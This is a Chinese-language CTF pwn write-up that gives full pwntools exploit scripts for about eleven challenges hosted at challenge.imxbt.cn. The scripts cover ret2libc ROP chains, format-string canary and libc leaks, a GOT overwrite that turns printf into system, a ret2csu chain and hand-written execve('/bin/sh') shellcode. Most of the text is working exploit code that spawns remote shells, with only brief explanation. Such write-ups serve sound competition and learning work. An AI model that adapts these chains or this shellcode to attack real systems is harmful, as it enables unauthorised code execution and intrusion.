test_your_nc 考查的是python脚本的编写,计算2025道计算题就给flag。exp如下:
from pwn import * import re context.log_level = "info" context.timeout = 5 io = remote("challenge.imxbt.cn", 30734) digits = "0123456789abcdefghijklmnopqrstuvwxyz" def int_to_base(n, base): if n == 0: return "0" sign = "" if n < 0: sign = "-" n = -n res = "" while n: res = digits[n % base] + res n //= base return sign + res def solve(expr, base): if '+' in expr: a, b = expr.split('+') return int(a, base) + int(b, base) if '-' in expr: a, b = expr.split('-') return int(a, base) - int(b, base) if '*' in expr: a, b = expr.split('*') return int(a, base) * int(b, base) if '%' in expr: a, b = expr.split('%') return int(a, base) % int(b, base) count = 0 while count < 2025: line = io.recvline().decode(errors="ignore").strip() # 不是题目行,直接跳过 if not line.startswith('['): continue if '(base' not in line or '= ?' not in line: continue log.info(line) base = int(re.search(r'base (\d+)', line).group(1)) expr = re.search(r'\)\s+(.*)\s+= \?', line).group(1) expr = expr.replace(" ", "") ans = solve(expr, base) ans_str = int_to_base(ans, base) io.recvuntil(b": ") io.sendline(ans_str.encode()) count += 1 io.interactive()
ret2libc 简单的ret2libc,给了gets函数,直接打就行了。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./attachment' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=31794 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) pop_rdi_ret=0x00000000004011e7 ret=0x000000000040101a puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] start_addr=0x4010B0 vuln_addr=0x401196 p0=cyclic(0x40+8)+p64(ret)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr) sla("Please input your message: ",p0) ru("received!") rl() addr1=rl().strip() puts_addr=u64(addr1.ljust(8,b'\x00')) #puts_addr=uul64() leak("puts_addr",puts_addr) libc_base=puts_addr-libc.sym['puts'] leak("libc_base",libc_base) system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00')) p1=p0=cyclic(0x40+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)+p64(start_addr) sla("Please input your message: ",p1) #连接 #-------------------------------------------------------------------------------- ioi()
ezfmt 一道格式化字符串漏洞的题目,开启了canary保护
一开始以为打不了格式化字符串漏洞,但经过gdb调试发现可以覆盖掉前面的%s,从而泄漏canary与libc。接着就是基本的ret2libc了。
exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=31237 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) p0=cyclic(0x40)+b"%19$p+%21$p" sl(p0) ru("0x") canary=i64(16) ru("+0x") libc_base=i64(12)-0x29d90 leak("canary",canary) leak("libc_base",libc_base) pop_rdi_ret=libc_base+0x000000000002a3e5 ret=libc_base+0x0000000000029139 system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00')) p1=cyclic(0x70-8)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)+p64(0) sl(p1) ioi()
type_err 直接输入符合的数字即可。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=30284 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) sl(b'2147483648') sl(b'2147483648') ioi()
str_err 简单的strcpy绕过题目
但是由于password会覆盖掉username,从而会导致user_copy会覆盖掉correct_password,因此得计算好输入何时输入password即可。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=32213 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) #gdb.attach(io) shell=0x40125B sa("Please input your username: ",b"haooahoo") p0=b"Secret\0"+b"a"*41+b"Secret\0"+b"a"*49+p64(0x40101a)+p64(shell) s(p0) ioi()
ret2bzdr 直接fmt泄漏canary,再跳到危险函数,由于没有限制sh字符串,因此可以通过system(“sh”)获取shell。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./ret2bzdr' #libc_file='./libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=30253 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) sl(b"%23$p") ru("0x") magic=0x04013AD canary=i64(16) leak("canary",canary) p0=cyclic(0x90-0x8)+p64(canary)+p64(0)+p64(0x40101a)+p64(magic) sl(p0) sla("OH,NO!!!HACKER!!!DON'T COME!!!",b"sh") ioi()
csu? 就是打csu的板子,没什么难度。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=30928 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) ret=0x000000000040101a pop_rdi_ret=0x000000000040127b pop_rsi_r15_ret=0x0000000000401279 write_plt=elf.plt['write'] write_got=elf.got['write'] fakerbp=0xdeadbeef csu_end_addr=0x040126E csu_front_addr=0x0401258 main=0x4011AB p0=cyclic(0x28)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(8)+p64(write_plt)+p64(main) sla("input something:",p0) write_addr=u64(io.recv(8)) leak("write_addr",write_addr) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00')) p1=cyclic(0x28)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)+p64(0) sl(p1) ioi()
sandbox_err 开启了沙盒保护,一开始以为又只能打orw了
发现了有ctx这个变量控制是否开启沙盒保护,如果我们将其改为0,就可以关闭沙盒保护从而就可以通过获取shell的方法获得flag
进一步发现了shell函数与fmt,那么就可以利用fmt修改ctx为0,再到shell函数获取shell从而获得flag,当然开启了pie保护,先获取基址再打。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux')#, log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=31010 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) sl(b"3") ru("I believe in miracles.") sl(b"%11$p") ru("0x") addr_base=i64(12)-0x1485 leak("addr_base",addr_base) #gdb.attach(io) ctx=addr_base+0x04050 leak("ctx",ctx) sl(b"3") p1=b"%7$naaaa"+p64(ctx) sl(p1) sl(b"3") p2=b"%7$hnaaa"+p64(ctx+4) sl(p2) sl(b"4") ioi()
func_err 给了栈地址,算一下离我们输入的距离是多少,然后手搓一个32字节以下的shellcode就行了。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux')#, log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=31954 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) #gdb.attach(io) ru("0x") v1=i64(12) leak("v1",v1) stack=v1-0x1c shellcode=''' xor rsi,rsi mul rsi push rax mov rbx,0x68732f2f6e69622f push rbx mov rdi,rsp mov al,59 syscall ''' shellcode=asm(shellcode) print(len(shellcode)) p=shellcode p=p.ljust(0x28,b'a')+p64(stack) s(p) ioi()
Slime_Smith 因为有直接给flag的函数,直接打就行了,挺简单的(当时想复杂了)。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=32495 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) ret=0x000000000040101a output_flag=0x0401336 sla("> ",b"1") sl(b"0") sl(b"0") p=p64(output_flag) #print(p) sla(":",p) ioi()
fmt 一道不错的fmt题目,在这里好好复现一下。64位,开启了NX与Partial RELRO保护,因此可以改got表的内容。
存在格式化字符串漏洞,又只是Partial RELRO,那么就可以将printf的got的值修改为system再输入/bin/sh获得shell。但是这里的问题就是只有一次输入又没有system函数,且我们输入的数据是在堆里面而不是栈上,所以就有点不一样了。
首先肯定的是,只有一次输入是不够的,得泄漏libc再打,至少两次,所以这里是修改free的got为vuln的地址,从而能够多次利用fmt。由于不能直接将free的got直接写入到栈上,就间接写上去
我们利用09:0048│+038 0x7ffcd90a7bd8 —▸ 0x7ffcd90a7cc8 —▸ 0x7ffcd90a83b9 ◂— 0x4853006e77702f2e /* './pwn' */,将free的got地址写入到栈上。代码如下: p1=b"%c"*13+b"%4210699c"+b"%ln"
因为只有一次输入,所以我们需要在一个payload中既写入got,又将free的got的值改为vuln的地址,从而当调用free时相当于调用vuln,实现反复读写。但需要注意的是,由于非栈上的格式化字符串不稳定,最多就改两字节最好,这里值与vuln的地址就两字节不同,就只需输入一次即可,而下面的printf的got就需要输入两次。
p1=b"%c"*13+b"%4210699c"+b"%ln"+b"%53662c"+b"%45$hn" s(p1)
可以看出修改成功了,这样我们就能不断的利用fmt了。接着就是泄漏libc了,这很简单就直接上代码了
sl(b"%15$p") ru("0x") libc_base=i64(12)-0x29d90 leak("libc_base",libc_base) system=libc_base+libc.sym['system']
接下来其实和一开始修改free的got为vuln也差不多。就分两次写printf的got就行了
首先就利用11:0088│+078 0x7ffd30b514c8 —▸ 0x7ffd30b515b8 —▸ 0x404018 (free@got[plt]) —▸ 0x4011b6 (vuln) ◂— endbr64,将其修改为printf@got[plt]+2(因为非栈上的格式化字符串最好每次最多改两字节)。代码如下: p1=b"%34c%23$hhn" p1=p1.ljust(0x3ff,b'\x00') s(p1)
接着再将printf的got输上去,代码如下
p2=b"%4210720c%44$ln" p2=p2.ljust(0x3ff,b'\x00') s(p2)
接下来就是将其改为system,再输入/bin/sh字符串,从而使得执行printf(“/bin/sh”)时,就相当于执行system(“/bin/sh”)。
p3='%c'*0x3B+f'%{((system >> 16)&0xFF)-0x3B}c%hhn'+f'%{(system & 0xFFFF)-((system >> 16)&0xFF)}c%{0x3f}$hn' p3=p3.encode().ljust(0x3ff,b'\x00') s(p3)
最后就是再次输入/bin/sh\x00从而获得shell。完整exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug') #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./pwn' libc_file='./libc.so.6' elf=ELF(pwn_file) libc=ELF(libc_file) rop=ROP(libc) flag=1 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=32715 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) free_got=elf.got['free'] leak("free_got",free_got) #gdb.attach(io) p0 = b"%c%c%c%c%c%c%c%c%c%c%c%c%c%4210699c%ln%53662c%45$hn" s(p0) sl(b"%15$p") ru("0x") libc_base=i64(12)-0x29d90 leak("libc_base",libc_base) system=libc_base+libc.sym['system'] leak("system_libc",libc.sym['system']) leak("system",system) p1=b"%34c%23$hhn" p1=p1.ljust(0x3ff,b'\x00') s(p1) #gdb.attach(io) p2=b"%4210720c%44$ln" p2=p2.ljust(0x3ff,b'\x00') s(p2) p3='%c'*0x3B+f'%{((system >> 16)&0xFF)-0x3B}c%hhn'+f'%{(system & 0xFFFF)-((system >> 16)&0xFF)}c%{0x3f}$hn' p3=p3.encode().ljust(0x3ff,b'\x00') s(p3) s(b'/bin/sh\x00'.ljust(0x3FF, b'\x00')) ioi()